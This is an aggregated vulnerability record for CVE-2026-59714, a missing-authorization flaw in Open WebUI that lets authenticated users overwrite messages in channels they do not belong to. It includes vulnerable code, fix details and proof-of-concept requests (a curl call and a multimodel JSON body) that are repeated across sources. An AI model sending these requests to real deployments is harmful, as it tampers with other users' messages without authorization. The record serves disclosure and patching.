CVE-2026-59714
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 before 0.10.0, any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel. This issue is fixed in version 0.10.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.1
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 before 0.10.0, any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59714- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-58246
7.1
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 before 0.10.0, any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel. This issue is fixed in version 0.10.0.
- Record
EUVD-2026-58246- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x2ff-v5v8-m75m
7.1
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Summary
Any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel.
This advisory consolidates two filings of the same flaw: the original single-model form, and a multimodel message_ids variant that survives the partial fix shipped in v0.9.6 (see "Fix status" below).
Details (as introduced in v0.9.5)
When a user submits a chat completion request with a chat_id starting with channel:, three authorization gaps combined in v0.9.5:
- Ownership check skipped (
main.py): thechannel:prefix caused the entire ownership/membership verification block to be skipped, with no channel membership/write check replacing it.
if not chat_id.startswith('local:') and not chat_id.startswith('channel:'): # temporary/channel chats are not stored
if is_new_chat:
...
else:
if not await Chats.is_chat_owner(chat_id, user.id) and user.role != 'admin':
raise HTTPException(...)
-
Message ID from user input:
id(and each value of the multimodelmessage_idsmap) comes directly from the request body and is passed asmessage_idto the channel emitter. -
Unchecked database write (
socket/main.py_make_channel_emitter):
async def _make_channel_emitter(request_info):
channel_id = request_info['chat_id'].removeprefix('channel:')
message_id = request_info['message_id'] # user-supplied
...
await Messages.update_message_by_id(message_id, update_form) # no channel/user authz
Messages.update_message_by_id performs a direct primary-key update with no channel_id/user_id validation.
Fix (shipped in v0.10.0)
v0.9.6 added a channel gate to the channel: branch (PR #24725) that closed the single-model path, but it validated only the first entry of the multimodel message_ids map, leaving the multimodel fan-out exploitable. v0.10.0 closes the remaining gap with two layers:
- Request-time per-entry validation (
backend/open_webui/main.py): every entry ofmessage_idsis validated against the target channel, not just the first; any entry whose target message does not belong to the channel inchat_idis rejected. - Fail-closed emitter (
backend/open_webui/socket/main.py,_make_channel_emitter): before writing, it re-reads the target message and returns without writing unlessmsg.channel_idmatches the channel derived fromchat_id. A missing or mismatched message is a no-op, so a write can no longer land in a channel the caller does not target.
PoC
Single-model (fixed in v0.9.6):
curl -X POST http://target:8080/api/chat/completions \
-H "Authorization: Bearer $USER_JWT" -H "Content-Type: application/json" \
-d '{
"model": "llama3", "stream": true,
"chat_id": "channel:any-channel-uuid-here",
"id": "target-message-uuid-to-overwrite",
"messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}]
}'
Multimodel (still works on v0.9.6):
POST /api/chat/completions
{
"chat_id": "channel:<attacker_channel_id>",
"message_ids": {
"model-a": "<message_id_in_attacker_channel>",
"model-b": "<victim_channel_message_id>"
},
"messages": [{"role": "user", "content": "..."}]
}
The first id passes channel scope validation; the second id is used by the per-model fan-out and overwrites the victim-channel message (with model output, or the provider-error string on a deterministic error). Even a failing model call writes error content to the target message.
Impact
Message integrity destruction: an authenticated user can overwrite a message in a channel they cannot access,…
- Record
GHSA-x2ff-v5v8-m75m- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
7.1
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 before 0.10.0, any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59714- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
OSV
7.1
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 before 0.10.0, any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59714- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVGHSA-x2ff-v5v8-m75m
7.1
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Summary
Any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel.
This advisory consolidates two filings of the same flaw: the original single-model form, and a multimodel message_ids variant that survives the partial fix shipped in v0.9.6 (see "Fix status" below).
Details (as introduced in v0.9.5)
When a user submits a chat completion request with a chat_id starting with channel:, three authorization gaps combined in v0.9.5:
- Ownership check skipped (
main.py): thechannel:prefix caused the entire ownership/membership verification block to be skipped, with no channel membership/write check replacing it.
if not chat_id.startswith('local:') and not chat_id.startswith('channel:'): # temporary/channel chats are not stored
if is_new_chat:
...
else:
if not await Chats.is_chat_owner(chat_id, user.id) and user.role != 'admin':
raise HTTPException(...)
-
Message ID from user input:
id(and each value of the multimodelmessage_idsmap) comes directly from the request body and is passed asmessage_idto the channel emitter. -
Unchecked database write (
socket/main.py_make_channel_emitter):
async def _make_channel_emitter(request_info):
channel_id = request_info['chat_id'].removeprefix('channel:')
message_id = request_info['message_id'] # user-supplied
...
await Messages.update_message_by_id(message_id, update_form) # no channel/user authz
Messages.update_message_by_id performs a direct primary-key update with no channel_id/user_id validation.
Fix (shipped in v0.10.0)
v0.9.6 added a channel gate to the channel: branch (PR #24725) that closed the single-model path, but it validated only the first entry of the multimodel message_ids map, leaving the multimodel fan-out exploitable. v0.10.0 closes the remaining gap with two layers:
- Request-time per-entry validation (
backend/open_webui/main.py): every entry ofmessage_idsis validated against the target channel, not just the first; any entry whose target message does not belong to the channel inchat_idis rejected. - Fail-closed emitter (
backend/open_webui/socket/main.py,_make_channel_emitter): before writing, it re-reads the target message and returns without writing unlessmsg.channel_idmatches the channel derived fromchat_id. A missing or mismatched message is a no-op, so a write can no longer land in a channel the caller does not target.
PoC
Single-model (fixed in v0.9.6):
curl -X POST http://target:8080/api/chat/completions \
-H "Authorization: Bearer $USER_JWT" -H "Content-Type: application/json" \
-d '{
"model": "llama3", "stream": true,
"chat_id": "channel:any-channel-uuid-here",
"id": "target-message-uuid-to-overwrite",
"messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}]
}'
Multimodel (still works on v0.9.6):
POST /api/chat/completions
{
"chat_id": "channel:<attacker_channel_id>",
"message_ids": {
"model-a": "<message_id_in_attacker_channel>",
"model-b": "<victim_channel_message_id>"
},
"messages": [{"role": "user", "content": "..."}]
}
The first id passes channel scope validation; the second id is used by the per-model fan-out and overwrites the victim-channel message (with model output, or the provider-error string on a deterministic error). Even a failing model call writes error content to the target message.
Impact
Message integrity destruction: an authenticated user can overwrite a message in a channel they cannot access,…
- Record
GHSA-x2ff-v5v8-m75m- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVPYSEC-2026-3605
7.1
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Summary
Any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a channel:-prefixed chat_id and a target message_id. The channel: path routes pipeline output through _make_channel_emitter, which writes to the Messages table using the caller-supplied message_id without binding it to the channel.
This advisory consolidates two filings of the same flaw: the original single-model form, and a multimodel message_ids variant that survives the partial fix shipped in v0.9.6 (see "Fix status" below).
Details (as introduced in v0.9.5)
When a user submits a chat completion request with a chat_id starting with channel:, three authorization gaps combined in v0.9.5:
- Ownership check skipped (
main.py): thechannel:prefix caused the entire ownership/membership verification block to be skipped, with no channel membership/write check replacing it.
if not chat_id.startswith('local:') and not chat_id.startswith('channel:'): # temporary/channel chats are not stored
if is_new_chat:
...
else:
if not await Chats.is_chat_owner(chat_id, user.id) and user.role != 'admin':
raise HTTPException(...)
-
Message ID from user input:
id(and each value of the multimodelmessage_idsmap) comes directly from the request body and is passed asmessage_idto the channel emitter. -
Unchecked database write (
socket/main.py_make_channel_emitter):
async def _make_channel_emitter(request_info):
channel_id = request_info['chat_id'].removeprefix('channel:')
message_id = request_info['message_id'] # user-supplied
...
await Messages.update_message_by_id(message_id, update_form) # no channel/user authz
Messages.update_message_by_id performs a direct primary-key update with no channel_id/user_id validation.
Fix (shipped in v0.10.0)
v0.9.6 added a channel gate to the channel: branch (PR #24725) that closed the single-model path, but it validated only the first entry of the multimodel message_ids map, leaving the multimodel fan-out exploitable. v0.10.0 closes the remaining gap with two layers:
- Request-time per-entry validation (
backend/open_webui/main.py): every entry ofmessage_idsis validated against the target channel, not just the first; any entry whose target message does not belong to the channel inchat_idis rejected. - Fail-closed emitter (
backend/open_webui/socket/main.py,_make_channel_emitter): before writing, it re-reads the target message and returns without writing unlessmsg.channel_idmatches the channel derived fromchat_id. A missing or mismatched message is a no-op, so a write can no longer land in a channel the caller does not target.
PoC
Single-model (fixed in v0.9.6):
curl -X POST http://target:8080/api/chat/completions \
-H "Authorization: Bearer $USER_JWT" -H "Content-Type: application/json" \
-d '{
"model": "llama3", "stream": true,
"chat_id": "channel:any-channel-uuid-here",
"id": "target-message-uuid-to-overwrite",
"messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}]
}'
Multimodel (still works on v0.9.6):
POST /api/chat/completions
{
"chat_id": "channel:<attacker_channel_id>",
"message_ids": {
"model-a": "<message_id_in_attacker_channel>",
"model-b": "<victim_channel_message_id>"
},
"messages": [{"role": "user", "content": "..."}]
}
The first id passes channel scope validation; the second id is used by the per-model fan-out and overwrites the victim-channel message (with model output, or the provider-error string on a deterministic error). Even a failing model call writes error content to the target message.
Impact
Message integrity destruction: an authenticated user can overwrite a message in a channel they cannot access,…
- Record
PYSEC-2026-3605- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
0.9.5 up to 0.10.0 | 0.10.0 |
open-webuiPyPI |
0.9.5 up to 0.10.0, plus listed versions 0.9.6 |
0.10.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59714 is a high vulnerability (CVSS 7.1) in Open-webui, published July 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in open-webui 0.10.0.
References
github.com/open-webui/open-webui/security/advisories/GHSA-x2ff-v5v8-m75m
github.com/open-webui/open-webui/pull/26385
github.com/open-webui/open-webui/commit/ac3449cac91e62b08a7c28e54fcd044d14dea791
github.com/open-webui/open-webui/releases/tag/v0.10.0
github.com/open-webui/open-webui/commit/33e4e0dcc43afcca80f9c635d762cdc76c768ba9
github.com/advisories/GHSA-x2ff-v5v8-m75m
Left out here: the rest of 3 source descriptions. The JSON record has them.